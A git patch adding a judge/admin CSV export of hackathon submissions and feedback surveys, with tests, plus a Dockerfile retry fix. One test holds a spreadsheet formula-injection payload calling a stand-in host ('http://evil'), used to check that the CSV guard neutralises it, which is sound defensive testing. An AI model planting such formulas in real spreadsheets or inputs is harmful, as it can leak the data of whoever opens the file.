From 9ea1343179832eba937a6454efa29d1d58266b48 Mon Sep 17 00:00:00 2001 From: sacha <23283108+sacha-l@users.noreply.github.com> Date: Wed, 17 Jun 2026 09:50:22 +0200 Subject: [PATCH 1/2] feat(judging): download all submissions + feedback responses as CSV Adds GET /:slug/submissions.csv (judge/admin) and a DOWNLOAD CSV button in the judging panel. Flattens each submission plus its feedback survey (surfaces, surfacesPrimary, agentEnv, deadlineStatus, biggestBlocker, couldntHandle, wouldKeepBuilding) into columns. All cells route through the shared csvCell formula-injection guard. Feedback was being saved but had no admin-facing review surface; this is it. --- .../admin/ProgramJudgingSection.tsx | 39 ++++++++++++- client/src/lib/api.ts | 25 +++++++++ .../api/controllers/submission.controller.js | 19 +++++++ server/api/routes/program.routes.js | 2 + .../utils/__tests__/submissions-csv.test.js | 55 +++++++++++++++++++ server/api/utils/submissions-csv.js | 49 +++++++++++++++++ 6 files changed, 188 insertions(+), 1 deletion(-) create mode 100644 server/api/utils/__tests__/submissions-csv.test.js create mode 100644 server/api/utils/submissions-csv.js diff --git a/client/src/components/admin/ProgramJudgingSection.tsx b/client/src/components/admin/ProgramJudgingSection.tsx index 607b683..c6fec47 100644 --- a/client/src/components/admin/ProgramJudgingSection.tsx +++ b/client/src/components/admin/ProgramJudgingSection.tsx @@ -76,6 +76,32 @@ export function ProgramJudgingSection({ const [publishedAt, setPublishedAt] = useState(resultsPublishedAt); const [publishing, setPublishing] = useState(false); const [expanded, setExpanded] = useState>({}); + const [exporting, setExporting] = useState(false); + + const handleExportCsv = async () => { + setExporting(true); + try { + const auth = await getAuth(); + const blob = await api.exportProgramSubmissionsCsv(programSlug, auth); + const url = URL.createObjectURL(blob); + const a = document.createElement("a"); + a.href = url; + a.download = `${programSlug}-submissions-${new Date().toISOString().slice(0, 10)}.csv`; + document.body.appendChild(a); + a.click(); + document.body.removeChild(a); + URL.revokeObjectURL(url); + toast({ title: "Submissions CSV downloaded" }); + } catch (e) { + toast({ + title: "Couldn't export submissions", + description: e instanceof Error ? e.message : "Unknown error", + variant: "destructive", + }); + } finally { + setExporting(false); + } + }; const tiers = useMemo(() => prizeTiersFor(prizeTiers), [prizeTiers]); @@ -388,7 +414,17 @@ export function ProgramJudgingSection({
·JUDGING
-
+
+ +
{(["score", "results"] as Tab[]).map((t) => (
diff --git a/client/src/lib/api.ts b/client/src/lib/api.ts index 18e3bd9..eb8242a 100644 --- a/client/src/lib/api.ts +++ b/client/src/lib/api.ts @@ -2306,6 +2306,31 @@ export const api = { return response.blob(); }, + // Download all submissions + their feedback survey as a CSV (judge/admin). + exportProgramSubmissionsCsv: async ( + slug: string, + authHeader: AdminAuthArg, + ): Promise => { + if (USE_MOCK_DATA) { + return new Blob(["submittedAt,submitterName,lumaEmail,projectTitle\n"], { type: "text/csv" }); + } + const url = `${API_BASE_URL}/programs/${encodeURIComponent(slug)}/submissions.csv`; + const response = await fetch(url, { headers: adminAuthHeaders(authHeader) }); + if (!response.ok) { + let message = mapStatusToMessage(response.status); + try { + const body = await response.json(); + if (body && typeof body.message === "string" && body.message.trim()) { + message = body.error ? `${body.message}: ${body.error}` : body.message; + } + } catch { + // non-JSON error body — keep status-based message + } + throw new ApiError(message, response.status); + } + return response.blob(); + }, + // --- Program audit log --- listProgramAuditLog: async ( diff --git a/server/api/controllers/submission.controller.js b/server/api/controllers/submission.controller.js index e66bc58..cad56a8 100644 --- a/server/api/controllers/submission.controller.js +++ b/server/api/controllers/submission.controller.js @@ -6,6 +6,7 @@ import programSignupRepository from '../repositories/program-signup.repository.j import submissionScoreRepository from '../repositories/submission-score.repository.js'; import programJudgeBallotRepository from '../repositories/program-judge-ballot.repository.js'; import { validateSubmission, validateScore, validatePrize, prizeTiersFor } from '../utils/submission.validator.js'; +import { submissionsToCsv } from '../utils/submissions-csv.js'; import submissionConfirmationService from '../services/submission-confirmation.service.js'; import prizeAwardService from '../services/prize-award.service.js'; import lumaSyncService from '../services/luma-sync.service.js'; @@ -202,6 +203,24 @@ class SubmissionController { } } + // Judge/admin: download every submission + its feedback survey as a CSV. + async exportCsv(req, res) { + try { + const programId = await resolveProgramId(req); + if (!programId) return res.status(404).json({ status: 'error', message: 'Program not found' }); + const { slug } = req.params; + const submissions = await programSubmissionRepository.listByProgramId(programId); + const csv = submissionsToCsv(submissions, { programSlug: slug }); + const filename = `${slug}-submissions-${new Date().toISOString().slice(0, 10)}.csv`; + res.setHeader('Content-Type', 'text/csv; charset=utf-8'); + res.setHeader('Content-Disposition', `attachment; filename="${filename}"`); + res.status(200).send(csv); + } catch (error) { + console.error('❌ Error exporting submissions CSV:', error); + res.status(500).json({ status: 'error', message: 'Failed to export submissions' }); + } + } + // Judge/admin: upsert this judge's score for one submission (draft save). async upsertScore(req, res) { try { diff --git a/server/api/routes/program.routes.js b/server/api/routes/program.routes.js index 83e4bda..99c4516 100644 --- a/server/api/routes/program.routes.js +++ b/server/api/routes/program.routes.js @@ -178,6 +178,8 @@ router.get('/:slug/audit-log', requireProgramViewer('slug'), programController.l // admin. requireProgramJudge NEVER unlocks the payment/approval routes above. router.post('/:slug/submissions', submissionLimiter, submissionController.submit); router.get('/:slug/submissions', requireProgramJudge('slug'), submissionController.list); +// Download all submissions + their feedback survey as CSV (judge/admin). +router.get('/:slug/submissions.csv', requireProgramJudge('slug'), submissionController.exportCsv); router.put( '/:slug/submissions/:submissionId/score', requireProgramJudge('slug'), diff --git a/server/api/utils/__tests__/submissions-csv.test.js b/server/api/utils/__tests__/submissions-csv.test.js new file mode 100644 index 0000000..3019bd0 --- /dev/null +++ b/server/api/utils/__tests__/submissions-csv.test.js @@ -0,0 +1,55 @@ +import { describe, it, expect } from 'vitest'; +import { submissionsToCsv } from '../submissions-csv.js'; + +const base = { + createdAt: '2026-06-17T10:00:00.000Z', + submitterName: 'Ada', + lumaEmail: 'ada@example.com', + projectTitle: 'Engine', + projectBrief: 'A mechanical computer.', + videoUrl: 'https://youtu.be/x', + githubUrl: 'https://github.com/ada/x', + late: false, + agreedToTermsAt: '2026-06-17T10:00:00.000Z', +}; + +describe('submissionsToCsv', () => { + it('emits a header with all feedback columns', () => { + const csv = submissionsToCsv([]); + const header = csv.split('\n')[0]; + for (const col of ['submitterName', 'lumaEmail', 'surfaces', 'surfacesPrimary', 'agentEnv', 'wouldKeepBuilding']) { + expect(header).toContain(col); + } + }); + + it('flattens the feedback survey (surfaces joined, string keys mapped)', () => { + const csv = submissionsToCsv([ + { ...base, feedback: { surfaces: ['MCP', 'API'], surfacesPrimary: 'MCP', agentEnv: 'cursor', wouldKeepBuilding: 'yes' } }, + ]); + const row = csv.split('\n')[1]; + expect(row).toContain('ada@example.com'); + expect(row).toContain('MCP; API'); + expect(row).toContain('cursor'); + expect(row).toContain('yes'); + }); + + it('handles a submission with no feedback (blank feedback cells)', () => { + const csv = submissionsToCsv([{ ...base, feedback: null }]); + const row = csv.split('\n')[1]; + expect(row).toContain('Engine'); + // trailing feedback columns are empty, so the row ends with commas + expect(row.endsWith(',,,,,,,')).toBe(true); + }); + + it('neutralizes spreadsheet formula injection in feedback text', () => { + const csv = submissionsToCsv([ + { ...base, feedback: { biggestBlocker: '=WEBSERVICE("http://evil")' } }, + ]); + expect(csv).toContain("'=WEBSERVICE"); // leading quote sentinel from csvCell + }); + + it('stamps a self-identifying trailing comment', () => { + const csv = submissionsToCsv([{ ...base, feedback: null }], { programSlug: 'bitrefill-2026' }); + expect(csv).toContain('# program=bitrefill-2026'); + }); +}); diff --git a/server/api/utils/submissions-csv.js b/server/api/utils/submissions-csv.js new file mode 100644 index 0000000..fc71a33 --- /dev/null +++ b/server/api/utils/submissions-csv.js @@ -0,0 +1,49 @@ +import { csvCell, csvRow } from './csv.js'; + +// Keep in sync with FEEDBACK_STRING_KEYS in submission.validator.js. +const FEEDBACK_KEYS = ['agentEnv', 'deadlineStatus', 'biggestBlocker', 'couldntHandle', 'wouldKeepBuilding']; + +const HEADER = [ + 'submittedAt', + 'submitterName', + 'lumaEmail', + 'projectTitle', + 'projectBrief', + 'videoUrl', + 'githubUrl', + 'late', + 'agreedToTermsAt', + 'surfaces', + 'surfacesPrimary', + ...FEEDBACK_KEYS, +]; + +// Flatten program submissions (including the post-submit feedback survey) to a +// CSV an admin/judge can download. Every cell routes through csvCell, which adds +// the formula-injection guard required for any user-submitted content. +export function submissionsToCsv(submissions, { programSlug } = {}) { + const lines = [HEADER.map(csvCell).join(',')]; + for (const s of submissions || []) { + const fb = s.feedback && typeof s.feedback === 'object' ? s.feedback : {}; + const surfaces = Array.isArray(fb.surfaces) ? fb.surfaces.join('; ') : ''; + lines.push( + csvRow([ + s.createdAt, + s.submitterName, + s.lumaEmail, + s.projectTitle, + s.projectBrief, + s.videoUrl, + s.githubUrl, + s.late ? 'yes' : 'no', + s.agreedToTermsAt, + surfaces, + fb.surfacesPrimary ?? '', + ...FEEDBACK_KEYS.map((k) => fb[k] ?? ''), + ]), + ); + } + // Self-identifying trailing comment (not parsed as a row by spreadsheets). + if (programSlug) lines.push(`# program=${programSlug}, exported=${new Date().toISOString()}`); + return lines.join('\n') + '\n'; +} From fc0475d4f1ad76efb3a39fa33d606dab2f73fb49 Mon Sep 17 00:00:00 2001 From: sacha <23283108+sacha-l@users.noreply.github.com> Date: Wed, 17 Jun 2026 10:07:24 +0200 Subject: [PATCH 2/2] fix(docker): retry apk add on transient Alpine mirror failures A flaky Alpine CDN made 'apk add python3 make g++' fail with exit 15, breaking a Railway deploy (and stranding an env-var change). Retry up to 5x with backoff so a transient mirror blip can't fail the build. --- server/Dockerfile | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/server/Dockerfile b/server/Dockerfile index 8d5cf81..bd79798 100644 --- a/server/Dockerfile +++ b/server/Dockerfile @@ -1,8 +1,12 @@ # Use Node.js LTS version FROM node:20-alpine -# Install build dependencies for native modules -RUN apk add --no-cache python3 make g++ +# Install build dependencies for native modules. Retry on transient Alpine +# mirror/network failures (apk exit 15) so a flaky CDN can't break a deploy. +RUN for i in 1 2 3 4 5; do \ + apk add --no-cache python3 make g++ && break; \ + echo "apk add failed (attempt $i), retrying in 5s..."; sleep 5; \ + done # Set working directory WORKDIR /app